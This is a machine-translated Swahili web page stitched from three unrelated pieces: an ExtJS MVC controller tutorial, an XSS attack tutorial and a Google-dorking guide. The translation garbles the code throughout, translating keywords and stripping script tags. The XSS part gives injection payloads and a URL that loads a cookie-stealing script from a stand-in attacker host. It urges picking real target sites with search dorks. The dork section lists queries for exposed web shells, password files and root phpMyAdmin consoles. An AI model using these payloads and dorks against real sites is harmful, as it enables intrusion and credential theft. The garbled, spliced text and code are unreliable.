Inurl livre php msg tahadhari kwa ujasiri. Kuunda vidhibiti katika ExtJS. Kutafuta maneno kwa kutumia waendeshaji wa ziada

Sasisho la mwisho: 11/1/2015

Kidhibiti ndicho kiungo kikuu kinachounganisha sehemu zote za programu pamoja na kuzifanya zifanye kazi. Ongeza kwenye katalogi BookApp/app/controller faili Books.js na maudhui yafuatayo:

Ext.define("BookApp.controller.Books", ( ongeza: "Ext.app.Controller", maoni: ["BookList", "Book"], maduka: ["BookStore"], mifano: ["Book"] , init: function() ( this.control(( "viewport > booklist": ( itemdblclick: this.editBook), "bookwindow button": ( bofya: this.createBook), "bookwindow button": ( bofya: this.updateBook ), "kitufe cha dirisha la kitabu": ( bofya: this.deleteBook ), "bookwindow button": ( bofya: this.clearForm ) )); // sasisha sasishoBook: function(button) ( var win = button.up(" window" ), fomu = win.down("fomu"), thamani = form.getValues(), id = form.getRecord().get("id"); values.id=id; Ext.Ajax.request( ( url: "app/data/update.php", vigezo: maadili, mafanikio: function(response)( var data=Ext.decode(response.responseText); if(data.success)( var store = Ext.widget( "booklist").getStore(); store.load(); Ext.Msg.alert("Sasisha",data.message); ) else( Ext.Msg.alert("Sasisha","Imeshindwa kusasisha kitabu katika maktaba "); ) ) )); ), // kuunda createBook: function(button) ( var win = button.up("window"), form = win.down("fomu"), maadili = fomu .getValues(); Ext.Ajax.request(( url: "app/data/create.php", params: values, success: function(response, options)( var data=Ext.decode(response.responseText); if(data.success) ( Ext.Msg.alert("Creation",data.message); var store = Ext.widget("booklist").getStore(); store.load(); ) else( Ext.Msg.alert("Creation" "Imeshindwa kuongeza kitabu kwenye maktaba"); ) ) )); ), // kufuta deleteBook: function(button) ( var win = button.up("window"), fomu = win.down("form"), id = form.getRecord().get("id"); Ext.Ajax.request(( url: "app/data/delete.php", params: (id:id), success: function(response)( var data=Ext.decode(response.responseText); if(data. mafanikio)( Ext.Msg.alert("Futa",data.message); var store = Ext.widget("orodha ya vitabu").getStore(); var record = store.getById(id); store.remove(rekodi) ; form.getForm.reset(); ) else( Ext.Msg.alert("Futa","Imeshindwa kuondoa kitabu kwenye maktaba"); ) ) )); clearForm: function(gridi, rekodi) ( var view = Ext.widget("bookwindow"); view.down("form").getForm().reset();), haririBook: function(gridi, rekodi) ( var view = Ext.widget("bookwindow") ; view.down("form").loadRecord(rekodi); ) ));

Sasa hebu tuangalie msimbo wa mtawala. Kwanza, tunarithi kutoka kwa darasa la Ext.app.Controller na kuweka kidhibiti kwenye mitazamo, miundo na hifadhi zilizoundwa awali:

Maoni: ["BookList", "Book"], maduka: ["BookStore"], mifano: ["Kitabu"],

Ifuatayo, katika parameter ya init, kwa kutumia kazi, tunaanzisha washughulikiaji wa kifungo ambao tunayo kwenye mtazamo. Kitendaji cha udhibiti hukusaidia kuhusisha vidhibiti na vijenzi. Chaguo hili la kukokotoa linatumia darasa la Ext.ComponentQuery, ambalo hukuruhusu kutumia kiteuzi cha mtindo wa CSS kupata vipengele. Kwa mfano, usemi "viewport > orodha ya vitabu" hutafuta vipengele vilivyo na lakabu la orodha ya vitabu ambavyo vimefafanuliwa katika sehemu ya kituo cha kutazama. Kiteuzi hiki kitaishia na uwakilishi wa Orodha ya Vitabu.

Na usemi "kitufe cha dirisha la kitabu" utapata kitufe ambacho mali ya hatua imewekwa kuwa mpya na ambayo iko kwenye kipengee cha dirisha la kitabu, ambayo ni, kwenye mwonekano wa Kitabu, ambayo ni aliased bookwindow. Kwa hivyo, ikiwa unafahamu viteuzi vya CSS, basi haitakuwa vigumu kwako kuelewa jinsi wateule hufanya kazi katika ExtJS.

"viewport > orodha ya vitabu": ( itemdblclick: this.editBook )

Kazi zote za kidhibiti hufafanuliwa baada ya kitendakazi cha init. Kidhibiti hiki.editBook hupakia kielelezo kilichochaguliwa kwenye dirisha:

EditBook: function(gridi, rekodi) ( var view = Ext.widget("bookwindow"); view.down("form").loadRecord(rekodi); )

Kwa kutumia mbinu ya Ext.widget, tunapata sehemu inayotakikana kwa kutumia kiteuzi cha Ext.ComponentQuery (usemi huu utakuwa sawa na usemi wa Ext.create("widget.bookwindow") na kisha kupata kipengele chake cha mtoto kwa kutumia mbinu ya chini, pia. kwa kutumia kichaguzi. Na kisha tunapakia mfano uliochaguliwa kwenye fomu.

Baada ya kupakia mfano, tuna chaguo tatu: kuongeza kitabu kipya, kubadilisha moja iliyochaguliwa, au kufuta moja iliyochaguliwa. Na hapa ndipo washughulikiaji wa vifungo hivi hutumika. Kwa kuwa washughulikiaji ni wa aina moja, tutachambua mmoja wao.

Kidhibiti Kitabu cha sasisho hupokea data ya kitabu kilichobadilishwa na kutuma ombi la Ajax kwa seva:

UpdateBook: function(kifungo) ( var win = button.up("dirisha"), fomu = win.down("fomu"), maadili = form.getValues(), id = form.getRecord().get( "id "); values.id=id; Ext.Ajax.request(( url: "app/data/update.php", vigezo: maadili, mafanikio: function(response)( var data=Ext.decode(response. majibuText) ; kama(data.success)( var store = Ext.widget("booklist").getStore(); store.load(); Ext.Msg.alert("Sasisha",data.message); ) vinginevyo( Ext. Msg.alert("Sasisha","Imeshindwa kusasisha kitabu kwenye maktaba"); ) ) )); )),

Kidhibiti hupokea kitufe kilichobonyezwa kama kigezo na kisha kwa kutumia njia ya juu tunaweza kupata vipengee kuu vya kitufe hiki: function(button) (var win= button.up("window")...

Kwa maadili ya kujieleza = form.getValues() tunapata maadili yote ya sehemu za fomu, lakini tangu wakati wa kubadilisha wakati wa kuingiliana na hifadhidata, kwa mfano, kitambulisho kinahitajika, basi tunaongeza pia kitambulisho cha modeli inasasishwa kwa viwango vya kubadilika.

Ifuatayo, tunatuma ombi la Ajax na data mpya ya kitabu kwa seva, tukipitisha viwango vinavyobadilika kama paramu kwa ombi. Inapokea faili sasisha.php(ambayo inapaswa kuwa kwenye folda BookApp/app/data) inaweza kupokea vigezo vilivyopitishwa kama hii:

Na mwisho, katika kazi ya mafanikio, tunaangalia matokeo ambayo seva hutuma kwa jibu, na ikiwa kila kitu kilikwenda vizuri, basi tunapakua data iliyosasishwa kutoka kwa seva.

Washughulikiaji wengine wawili hufanya kazi kwa kanuni sawa.

Na mwisho kabisa tutabadilisha faili ya maombi programu.js ili ikubali kidhibiti kilichoundwa hapo juu kama hii:

Ext.application(( inahitaji: ["Ext.container.Viewport"], jina: "BookApp", appFolder: "programu", vidhibiti: ["Books"], launch: function() ( Ext.create("Ext. container.Viewport", ( mpangilio: "fit", vitu: ( xtype: "booklist" ) )); ) ));

Katika vidhibiti: ["Vitabu"] mali tunabainisha kidhibiti kilichoundwa hapo juu.

Sasa programu iko tayari na inaweza kuzinduliwa:

Kwa hivyo, tunaweza kutumia muundo wa MVC kujenga programu za Ext JS.

Uandishi wa tovuti tofauti (XSS) ni hatari inayojumuisha kuingiza msimbo wa upande wa mteja (JavaScript) kwenye ukurasa wa wavuti ambao watumiaji wengine wanautazama.

Athari hii inatokana na uchujaji usiotosha wa data ambayo mtumiaji huwasilisha kwa ajili ya kuingizwa kwenye ukurasa wa wavuti. Ni rahisi zaidi kuelewa na mfano halisi. Kumbuka kitabu chochote cha wageni - hizi ni programu ambazo zimeundwa kukubali data kutoka kwa mtumiaji na kisha kuionyesha. Wacha tufikirie kuwa kitabu cha wageni hakichunguzi au kuchuja data iliyoingizwa kwa njia yoyote, lakini inawaonyesha tu.

Unaweza kuchora hati yako rahisi zaidi (hakuna kitu rahisi kuliko kuandika hati mbaya katika PHP - watu wengi hufanya hivi). Lakini tayari kuna chaguzi nyingi zilizopangwa tayari. Kwa mfano, ninapendekeza kuanza na Dojo na OWASP Mutillidae II. Kuna mfano sawa hapo. Katika mazingira ya pekee ya Dojo, nenda kwa kiungo hiki kwenye kivinjari chako: http://localhost/mutillidae/index.php?page=add-to-your-blog.php

Ikiwa mmoja wa watumiaji aliingia:

Kisha ukurasa wa wavuti utaonyeshwa:

Habari! Ninapenda tovuti yako.

Na ikiwa mtumiaji ataingia hii:

Habari! Ninapenda site.alert yako("Iliyopigwa")

Kisha itaonyeshwa kama hii:

Vivinjari huhifadhi vidakuzi vingi kwa idadi kubwa ya tovuti. Kila tovuti inaweza tu kupokea vidakuzi vilivyohifadhiwa peke yake. Kwa mfano, example.com imehifadhi baadhi ya vidakuzi kwenye kivinjari chako. Ukitembelea another.com, tovuti hii (mteja na hati za seva) haiwezi kufikia vidakuzi ambavyo example.com imehifadhi.

Ikiwa example.com inaweza kuathiriwa na XSS, hii inamaanisha kuwa tunaweza kwa namna fulani kuingiza msimbo wa JavaScript ndani yake, na msimbo huo utatekelezwa kwa niaba ya example.com! Wale. Nambari hii, kwa mfano, itafikia vidakuzi vya example.com.

Nadhani kila mtu anakumbuka kuwa JavaScript inatekelezwa katika vivinjari vya watumiaji, i.e. mbele ya XSS, msimbo mbaya uliopachikwa hupata ufikiaji wa data ya mtumiaji aliyefungua ukurasa wa tovuti.

Nambari iliyopachikwa inaweza kufanya kila kitu ambacho JavaScript inaweza kufanya, yaani:

  • hupata ufikiaji wa vidakuzi vya tovuti unayotazama
  • inaweza kufanya mabadiliko yoyote kwenye mwonekano wa ukurasa
  • hufikia ubao wa kunakili
  • inaweza kutekeleza programu za JavaScript, kwa mfano, vibao vya funguo (viunganisha vitufe)
  • chukua kwenye BEEF
  • na nk.

Mfano rahisi zaidi na vidakuzi:

tahadhari(document.cookie)

Kwa kweli, tahadhari hutumiwa tu kugundua XSS. Upakiaji halisi hasidi hufanya vitendo vilivyofichwa. Inawasiliana kwa siri na seva ya mbali ya mshambuliaji na kuhamisha data iliyoibiwa kwake.

Aina za XSS

Jambo muhimu zaidi kuelewa juu ya aina za XSS ni kwamba ni:

  • Imehifadhiwa (Kudumu)
  • Imeakisiwa (Kigeugeu)

Mfano wa mara kwa mara:

  • Ujumbe ulioundwa mahususi ulioingizwa na mvamizi kwenye kitabu cha wageni (maoni, ujumbe wa jukwaa, wasifu), ambao umehifadhiwa kwenye seva, hupakuliwa kutoka kwa seva kila mara watumiaji wanapoomba kuonyesha ukurasa huu.
  • Mshambulizi alipata ufikiaji wa data ya seva, kwa mfano, kupitia SQL sindano, na kuanzisha JavaScript code hasidi (pamoja na kilologgers au BeEF) katika data aliyopewa mtumiaji.

Mfano wa zisizo za kudumu:

  • Kuna utafutaji kwenye tovuti ambao, pamoja na matokeo ya utafutaji, unaonyesha kitu kama "Ulitafuta: [kamba ya utafutaji]", na data haijachujwa ipasavyo. Kwa kuwa ukurasa kama huo unaonyeshwa tu kwa mtu ambaye ana kiunga chake, shambulio hilo halitafanya kazi hadi mshambuliaji atume kiunga kwa watumiaji wengine wa wavuti. Badala ya kutuma kiungo kwa mwathiriwa, unaweza kutumia uwekaji hati hasidi kwenye tovuti isiyoegemea upande wowote ambayo mwathirika hutembelea.

Pia zinatofautisha (baadhi kama aina ya udhaifu usioendelea wa XSS, wengine wanasema kuwa aina hii pia inaweza kuwa aina ya XSS inayoendelea):

  • Mifano ya DOM
Vipengele vya XSS kulingana na DOM

Ili kuiweka kwa urahisi sana, tunaweza kuona msimbo hasidi wa XSS "ya kawaida" isiyoendelea ikiwa tutafungua msimbo wa HTML. Kwa mfano, kiungo kinaundwa kama hii:

Http://example.com/search.php?q="/>tahadhari(1)

Na tunapofungua msimbo wa HTML wa chanzo, tunaona kitu kama hiki:

tahadhari(1)" /> Tafuta

Na DOM XSS inabadilisha muundo wa DOM, ambao huundwa kwenye kivinjari kwa kuruka, na tunaweza tu kuona msimbo hasidi wakati wa kutazama muundo wa DOM uliotengenezwa. HTML haibadiliki. Wacha tuchukue nambari hii kama mfano:

tovuti:::DOM XSS Hitilafu imetokea... chaguo la kukokotoa OnLoad() ( var foundFrag = get_fragment(); return foundFrag; ) kitendakazi get_fragment() ( var r4c = "(.*?)"; var results = location.hash .match(".*input=token(" + r4c + ");"); ikiwa (matokeo) ( document.getElementById("default").innerHTML = ""; rudisha (unescape(matokeo)); ) vinginevyo ( return null; ) ) display_session = OnLoad(); document.write("Kitambulisho chako cha kipindi kilikuwa: " + display_session + "

")

Kisha kwenye kivinjari tutaona:

Msimbo wa chanzo cha ukurasa:

Wacha tuunde anwani kama hii:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1);

Sasa ukurasa unaonekana kama hii:

Lakini hebu tuangalie msimbo wa chanzo wa HTML:

Hakuna kilichobadilika hapo hata kidogo. Hivi ndivyo nilivyokuwa nikizungumza, tunahitaji kuangalia muundo wa DOM wa hati ili kutambua nambari mbaya:

Hapa kuna mfano wa XSS unaofanya kazi, kwa shambulio la kweli tunahitaji upakiaji ngumu zaidi, ambao hauwezekani kwa sababu programu inacha kusoma mara tu baada ya semicolon, na kitu kama tahadhari(1); tahadhari(2) hapana. muda mrefu iwezekanavyo. Walakini, shukrani kwa unescape() tunaweza kutumia upakiaji kama huu kwenye data ya kurejesha:

Http://localhost/tests/XSS/dom_xss.html#input=tokenAlexalert(1)%3balert(2);

Ambapo tulibadilisha ishara; kwa sawa na URI iliyosimbwa!

Sasa tunaweza kuandika upakiaji hasidi wa JavaScript na kutunga kiungo cha kutuma kwa mwathiriwa, kama inavyofanywa kwa uandishi wa tovuti mtambuka usiodumu.

Mkaguzi wa XSS

Katika Google Chrome (na pia katika Opera, ambayo sasa inatumia injini ya Google Chrome), mshangao huu uliningoja:

dom_xss.html:30 Mkaguzi wa XSS alikataa kutekeleza hati katika "http://localhost/tests/XSS/dom_xss.html#input=token‹script›alert(1);" kwa sababu msimbo wake wa chanzo ulipatikana ndani ya ombi. Kikaguzi kiliwashwa kwani seva haikutuma kichwa cha "X-XSS-Protection" wala "Sera ya Maudhui-ya-Usalama".

Wale. kivinjari sasa kina mkaguzi wa XSS ambaye atajaribu kuzuia XSS. Firefox haina utendakazi huu bado, lakini nadhani ni suala la muda. Ikiwa utekelezaji katika vivinjari umefanikiwa, basi tunaweza kuzungumza juu ya ugumu mkubwa wa kutumia XSS.

Ni vyema kukumbuka kuwa vivinjari vya kisasa vinachukua hatua za kupunguza kiwango cha matatizo ya unyonyaji kama vile XSS isiyoendelea na XSS yenye msingi wa DOM. Hili pia ni jambo la kukumbuka unapojaribu tovuti kwa kutumia kivinjari - inaweza kubainika kuwa programu ya wavuti iko hatarini, lakini huoni uthibitisho wa madirisha ibukizi kwa sababu tu kivinjari kinaizuia.

Mifano ya unyonyaji wa XSS

Wavamizi wanaonuia kutumia udhaifu wa uandishi wa tovuti mbalimbali lazima wafikie kila darasa la athari kitofauti. Vekta za mashambulizi kwa kila darasa zimeelezwa hapa.

Kwa udhaifu wa XSS, mashambulizi yanaweza kutumia BeEF, ambayo huongeza mashambulizi kutoka kwa tovuti hadi kwa mazingira ya karibu ya watumiaji.

Mfano wa shambulio lisilodumu la XSS

1. Alice mara kwa mara hutembelea tovuti fulani inayopangishwa na Bob. Tovuti ya Bob humruhusu Alice kuingia kwa kutumia jina la mtumiaji/nenosiri na kuhifadhi data nyeti kama vile maelezo ya malipo. Mtumiaji anapoingia, kivinjari huhifadhi vidakuzi vya uidhinishaji, ambavyo vinaonekana kama wahusika wasio na maana, i.e. kompyuta zote mbili (mteja na seva) kumbuka kuwa aliingia.

2. Mallory anabainisha kuwa tovuti ya Bob ina hatari ya XSS isiyoendelea:

2.1 Unapotembelea ukurasa wa utafutaji, ingiza kamba ya utafutaji na ubofye kitufe cha kuwasilisha, ikiwa hakuna matokeo yanayopatikana, ukurasa unaonyesha kamba ya utafutaji iliyoingizwa ikifuatiwa na maneno "haijapatikana" na url inaonekana kama http://bobssite. .org?q= hoja yake ya utafutaji

2.2 Kwa hoja ya kawaida ya utafutaji kama neno "mbwa", ukurasa unaonyesha tu "hakuna mbwa waliopatikana" na url http://bobssite.org?q=dogs, ambayo ni tabia ya kawaida kabisa.

2.3 Hata hivyo, wakati hoja ya utafutaji isiyo ya kawaida kama vile alert("xss"); :

2.3.1 Ujumbe wa onyo unaonekana (unaosema "xss").

2.3.2 Ukurasa unaonyesha arifa("xss"); haipatikani pamoja na ujumbe wa makosa na maandishi "xss".

2.3.3 url inayofaa kwa unyonyaji http://bobssite.org?q=alert("xss");

3. Mallory huunda URL ili kutumia uwezekano wa kuathiriwa:

3.1 Anatengeneza URL http://bobssite.org?q=puppies. Anaweza kuchagua kubadilisha herufi za ASCII hadi umbizo la hexadecimal kama vile http://bobssite.org?q=puppies%3Cscript%2520src%3D%22http%3A%2F%2Fmallorysevilsite.com%2Fauthstealer.js%22%3E kwa mpangilio ili kuzuia watu wasichambue mara moja URL hasidi.

3.2 Anawatumia barua pepe baadhi ya wanachama wasio na wasiwasi wa tovuti ya Bob akisema, "Angalia mbwa baridi."

4. Alice anapokea barua. Anapenda mbwa na bonyeza kwenye kiungo. Anaenda kwenye wavuti ya Bob katika utaftaji, hapati chochote, "hakuna mbwa aliyepatikana" huonyeshwa hapo, na katikati kabisa lebo iliyo na hati inazinduliwa (haionekani kwenye skrini), inapakuliwa na kutekeleza ya Malory. authstealer.js programu (kuanzisha shambulio la XSS). Alice anasahau kuhusu hilo.

5. Programu ya authstealer.js inaendeshwa katika kivinjari cha Alice kana kwamba ilitoka kwenye tovuti ya Bob. Ananyakua nakala ya vidakuzi vya uidhinishaji vya Alice na kuzituma kwa seva ya Malory, ambapo Malory huzipata.

7. Sasa kwa kuwa Malorie yuko ndani, anaenda kwenye sehemu ya malipo ya tovuti, na kuangalia na kuiba nakala ya nambari ya kadi ya mkopo ya Alice. Kisha huenda na kubadilisha nenosiri, i.e. Sasa Alice hawezi hata kuingia tena.

8. Anaamua kuchukua hatua inayofuata na kutuma kiungo kilichojengwa kwa njia hii kwa Bob mwenyewe, na hivyo kupokea marupurupu ya utawala kwa tovuti ya Bob.

Shambulio la XSS linaloendelea

  • Mallory ana akaunti kwenye tovuti ya Bob.
  • Mallory anabainisha kuwa tovuti ya Bob ina uwezekano wa kuathiriwa wa XSS. Ukienda kwa sehemu mpya na kuchapisha maoni, itaonyesha chochote kilichoandikwa ndani yake. Lakini ikiwa maandishi ya maoni yana lebo za HTML, lebo hizo zitatolewa kama zilivyo, na lebo zozote za hati zitatekelezwa.
  • Mallory anasoma makala katika sehemu ya Habari na anaandika maoni katika sehemu ya Maoni. Katika maoni anaingiza maandishi:
  • Nilipenda sana mbwa katika hadithi hii. Wao ni nzuri sana!
  • Wakati Alice (au mtu mwingine yeyote) anapakia ukurasa na maoni haya, lebo ya hati ya Malory huendesha na kuiba kidakuzi cha uidhinishaji cha Alice, na kukituma kwa seva ya siri ya Malory ili ikusanywe.
  • Mallory sasa anaweza kuteka nyara kikao cha Alice na kumwiga Alice.
  • Inatafuta tovuti zilizo hatarini kwa XSS

    Dorks kwa XSS

    Hatua ya kwanza ni kuchagua tovuti ambazo tutafanya mashambulizi ya XSS. Tovuti zinaweza kutafutwa kwa kutumia Google dorks. Hapa ni baadhi ya dorks hizi ambazo unaweza kunakili na kubandika kwenye utafutaji wa Google:

    • inurl:search.php?q=
    • inurl:.php?q=
    • inurl:search.php
    • inurl:.php?search=

    Orodha ya tovuti itafunguliwa mbele yetu. Unahitaji kufungua tovuti na kupata sehemu za ingizo humo, kama vile fomu ya maoni, fomu ya ingizo, utafutaji wa tovuti, n.k.

    Acha nikumbuke mara moja kwamba karibu haina maana kutafuta udhaifu katika programu maarufu za wavuti zilizosasishwa kiotomatiki. Mfano wa kawaida wa programu kama hiyo ni WordPress. Kwa kweli, kuna udhaifu katika WordPress, na haswa katika programu-jalizi zake. Zaidi ya hayo, kuna tovuti nyingi ambazo hazisasishi injini ya WordPress (kutokana na ukweli kwamba msimamizi wa tovuti alifanya mabadiliko fulani kwa msimbo wa chanzo) au programu-jalizi zao na mada (kama sheria, hizi ni programu-jalizi na mada zilizoharakishwa). Lakini ukisoma sehemu hii na kujifunza kitu kipya kutoka kwayo, basi WordPress sio kwako bado... Hakika tutairudia baadaye.

    Malengo bora ni aina ya injini na maandishi ya maandishi.

    Unaweza kuchagua upakiaji wa kuingiza kama

    tahadhari(1)

    Zingatia ni msimbo gani wa HTML unaotambulisha msimbo wako uliopachikwa unaangukia. Hapa kuna mfano wa uwanja wa kawaida wa kuingiza:

    tahadhari(1)

    Mzigo wetu utaishia pale neno "pillowcase" lilipo sasa. Wale. geuza kuwa thamani ya lebo ya ingizo. Tunaweza kuepuka hili - tunafunga nukuu mara mbili, na kisha lebo yenyewe na "/>

    "/> tahadhari(1)

    Wacha tuijaribu kwa tovuti fulani:

    Kubwa, kuna udhaifu

    Programu za kutafuta na kuchanganua udhaifu wa XSS

    Huenda vichanganuzi vyote vya programu za wavuti vina kichanganuzi cha kuathirika cha XSS kilichojengewa ndani. Mada hii sio ya kina; ni bora kufahamiana na kila skana inayofanana kando.

    Pia kuna zana maalum za kuchanganua athari za XSS. Miongoni mwao tunaweza kusisitiza hasa:

    • XSSer sio tu kichanganuzi chenye nguvu ambacho kinaweza kutumia mbinu mbalimbali za kudunga na kupitisha uchujaji, pia ni zana otomatiki ya kutafuta tovuti zilizo hatarini kwa XSS (na dorks). Kwa tovuti zilizo na udhaifu uliopatikana, inaweza kuingiza malipo kwa shambulio la kweli;
    • XssPy pia ni zana inayojitegemea ambayo inaweza kupata kurasa zote za tovuti (pamoja na zile zilizo kwenye vikoa vidogo) na kuangalia vipengele vyote vya ingizo kwenye kurasa hizi;

    USSCLTD Mei 10, 2016 saa 12:38 jioni

    Inatafuta udhaifu kwa kutumia Google
    • Usalama wa Habari

    Utafutaji wowote wa udhaifu kwenye rasilimali za wavuti huanza na upelelezi na ukusanyaji wa taarifa.
    Akili inaweza kuwa hai - nguvu ya kikatili ya faili na saraka za tovuti, kuendesha vichanganuzi vya hatari, kuvinjari tovuti kwa mikono, au kutofanya kazi - kutafuta taarifa katika injini tofauti za utafutaji. Wakati mwingine hutokea kwamba mazingira magumu yanajulikana hata kabla ya kufungua ukurasa wa kwanza wa tovuti.

    Je, hili linawezekanaje?
    Tafuta roboti, zinazozunguka mtandaoni kila mara, pamoja na taarifa muhimu kwa mtumiaji wa kawaida, mara nyingi hurekodi mambo ambayo yanaweza kutumiwa na wavamizi kushambulia rasilimali ya wavuti. Kwa mfano, hitilafu za hati na faili zilizo na taarifa nyeti (kutoka faili za usanidi na kumbukumbu hadi faili zilizo na data ya uthibitishaji na hifadhi za hifadhidata).
    Kutoka kwa mtazamo wa robot ya utafutaji, ujumbe wa hitilafu kuhusu kutekeleza swala la sql ni maandishi wazi, yasiyoweza kutenganishwa, kwa mfano, kutoka kwa maelezo ya bidhaa kwenye ukurasa. Ikiwa ghafla roboti ya utafutaji ilipata faili iliyo na kiendelezi cha .sql, ambacho kwa sababu fulani kiliishia kwenye folda ya kufanya kazi ya tovuti, basi itatambuliwa kama sehemu ya maudhui ya tovuti na pia itaorodheshwa (pamoja na, ikiwezekana, manenosiri. iliyoainishwa ndani yake).

    Taarifa kama hizo zinaweza kupatikana kwa kujua maneno muhimu, mara nyingi ya kipekee, ambayo husaidia kutenganisha "kurasa zinazoweza kuathirika" kutoka kwa kurasa ambazo hazina udhaifu.
    Hifadhidata kubwa ya maswali maalum kwa kutumia maneno muhimu (kinachojulikana kama dorks) inapatikana kwenye exploit-db.com na inajulikana kama Hifadhidata ya Udukuzi wa Google.

    Kwa nini google?
    Dorks kimsingi inalengwa na Google kwa sababu mbili:
    − sintaksia inayoweza kunyumbulika zaidi ya maneno muhimu (iliyoonyeshwa katika Jedwali 1) na herufi maalum (zinazoonyeshwa katika Jedwali 2);
    − faharasa ya Google bado ni kamili zaidi kuliko ile ya injini nyingine za utafutaji;

    Jedwali 1 - Maneno muhimu ya Google

    Neno muhimu
    Maana
    Mfano
    tovuti
    Tafuta tu kwenye tovuti maalum. Inazingatia url pekee
    tovuti:somesite.ru - itapata kurasa zote kwenye kikoa fulani na vikoa vidogo
    inurl
    Tafuta kwa maneno yaliyopo kwenye uri. Tofauti na cl. maneno "tovuti", hutafuta zinazolingana baada ya jina la tovuti
    inurl:news - hupata kurasa zote ambapo neno lililotolewa linaonekana kwenye uri
    maandishi
    Tafuta kwenye mwili wa ukurasa
    maandishi:"msongamano wa magari" - sawa kabisa na ombi la kawaida la "msongamano wa magari"
    kichwa
    Tafuta katika kichwa cha ukurasa. Maandishi kati ya vitambulisho
    intitle:"index of" - itapata kurasa zote zilizo na orodha za saraka
    ext
    Tafuta kurasa zilizo na kiendelezi maalum
    ext:pdf - hupata faili zote za pdf
    aina ya faili
    Hivi sasa, sawa kabisa na darasa. neno "ext"
    filetype:pdf - sawa
    kuhusiana
    Tafuta tovuti zilizo na mada zinazofanana
    kuhusiana:google.ru - itaonyesha analogues zake
    kiungo
    Tafuta tovuti zinazounganisha hii
    kiungo:somesite.ru - utapata tovuti zote ambazo zina kiungo kwa hili
    fafanua
    Onyesha ufafanuzi wa neno
    fafanua:0day - ufafanuzi wa neno
    akiba
    Onyesha yaliyomo kwenye ukurasa kwenye akiba (ikiwa ipo)
    cache:google.com - itafungua ukurasa uliohifadhiwa

    Jedwali la 2 - Herufi maalum kwa hoja za Google

    Alama
    Maana
    Mfano

    Maneno halisi
    mada:“Ukurasa wa usanidi wa kipanga njia cha RouterOS” - tafuta vipanga njia
    *
    Maandishi yoyote
    inurl: “bitrix*mcart” - tafuta tovuti kwenye bitrix zilizo na moduli ya mcart iliyo hatarini
    .
    Mhusika yeyote
    Index.of - sawa na index ya ombi
    -
    Futa neno
    hitilafu -onyo - onyesha kurasa zote ambazo zina hitilafu lakini hazina onyo
    ..
    Masafa
    cve 2006..2016 - onyesha udhaifu kwa mwaka kuanzia 2006
    |
    Mantiki "au"
    linux | windows - onyesha kurasa ambapo neno la kwanza au la pili linaonekana

    Inafaa kuelewa kuwa ombi lolote kwa injini ya utaftaji ni utaftaji kwa maneno tu.
    Haina maana kutafuta meta-wahusika kwenye ukurasa (nukuu, mabano, alama za uakifishaji, n.k.). Hata utafutaji wa maneno halisi yaliyotajwa katika alama za nukuu ni utafutaji wa neno, ikifuatiwa na utafutaji wa mechi halisi katika matokeo.

    Sehemu zote za Hifadhidata ya Google Hack zimegawanywa kimantiki katika kategoria 14 na zimewasilishwa katika Jedwali la 3.
    Jedwali 3 – Google Hack Database Jamii

    Kategoria
    Ni nini hukuruhusu kupata
    Mfano
    Miguu
    Makombora ya wavuti, wasimamizi wa faili za umma
    Tafuta tovuti zote zilizodukuliwa ambapo ganda za wavuti zilizoorodheshwa zimepakiwa:
    (kichwa:"phpshell" AU kichwa:"c99shell" AU kichwa:"r57shell" AU kichwa:"PHP Shell" AU intitle:"phpRemoteView") `rwx` "uname"
    Faili zilizo na majina ya watumiaji
    Faili za Usajili, faili za usanidi, kumbukumbu, faili zilizo na historia ya amri zilizoingia
    Pata faili zote za usajili zilizo na habari ya akaunti:
    filetype:reg reg +intext:"msimamizi wa akaunti ya mtandao"
    Saraka Nyeti
    Saraka zilizo na habari anuwai (hati za kibinafsi, usanidi wa vpn, hazina zilizofichwa, n.k.)
    Pata orodha zote za saraka zilizo na faili zinazohusiana na VPN:
    Mada ya "Sanidi":"Kielezo cha" intext:vpn
    Tovuti zilizo na hazina za git:
    (maandishi:"index ya /.git") ("saraka ya mzazi")
    Utambuzi wa Seva ya Wavuti
    Toleo na habari zingine kuhusu seva ya wavuti
    Pata vidhibiti vya kiutawala vya seva ya JBoss:
    inurl:"/web-console/" mada:"Dashibodi ya Utawala"
    Faili Zinazoweza Kuathiriwa
    Hati zilizo na udhaifu unaojulikana
    Tafuta tovuti zinazotumia hati inayokuruhusu kupakia faili kiholela kutoka kwa seva:
    allinurl:forcedownload.php?file=
    Seva zilizo katika mazingira magumu
    Maandishi ya usakinishaji, makombora ya wavuti, koni za usimamizi zilizo wazi, n.k.
    Pata koni za PHPMyAdmin zilizo wazi zinazoendesha kama mzizi:
    intitle:phpMyAdmin "Karibu kwa phpMyAdmin ***" "inaendesha * kama mzizi@*"
    Ujumbe wa Hitilafu
    Hitilafu na maonyo mbalimbali mara nyingi hufichua taarifa muhimu - kutoka toleo la CMS hadi nenosiri
    Tovuti ambazo zina makosa katika kutekeleza maswali ya SQL kwenye hifadhidata:
    "Onyo: mysql_query()" "swali batili"
    Faili zilizo na maelezo ya juisi
    Vyeti, chelezo, barua pepe, kumbukumbu, hati za SQL, n.k.
    Pata maandishi ya sql ya uanzishaji:
    filetype:sql na "ingiza ndani" -site:github.com
    Faili zilizo na manenosiri
    Kitu chochote ambacho kinaweza kuwa na nywila - kumbukumbu, hati za sql, nk.
    Kumbukumbu zinazotaja manenosiri:
    aina ya faili:logimaandishi:nenosiri |kupita |pw
    hati za sql zilizo na nywila:
    ziada:sqlmaandishi:jina la mtumiajimaandishi:nenosiri
    Maelezo Nyeti ya Ununuzi Mtandaoni
    Taarifa zinazohusiana na ununuzi mtandaoni
    Tafuta misimbo:
    dcid=bn=pinikanuni=
    Data ya mtandao au uwezekano wa kuathiriwa
    Taarifa zisizohusiana moja kwa moja na rasilimali ya wavuti, lakini zinazoathiri mtandao au huduma zingine zisizo za wavuti
    Pata hati za usanidi otomatiki za seva mbadala zilizo na habari kuhusu mtandao wa ndani:
    inurl:wakala | inurl:wpad ext:pac | ext:dat findproxyfourl
    Kurasa zilizo na milango ya kuingia
    Kurasa zilizo na fomu za kuingia
    kurasa za wavuti za saplogon:
    maandishi:"2016 SAP AG. Haki zote zimehifadhiwa." kichwa: "Logon"
    Vifaa Mbalimbali vya Mtandaoni
    Printers, ruta, mifumo ya ufuatiliaji, nk.
    Pata paneli ya usanidi wa kichapishi:
    kichwa:"hpjeti ya laser"inurl:SSI/Auth/seti_config_maelezo ya kifaa.htm
    Ushauri na Udhaifu
    Tovuti kwenye matoleo ya CMS ambayo yanaweza kuathiriwa
    Pata programu-jalizi zilizo hatarini ambazo unaweza kupakia faili kiholela kwa seva:
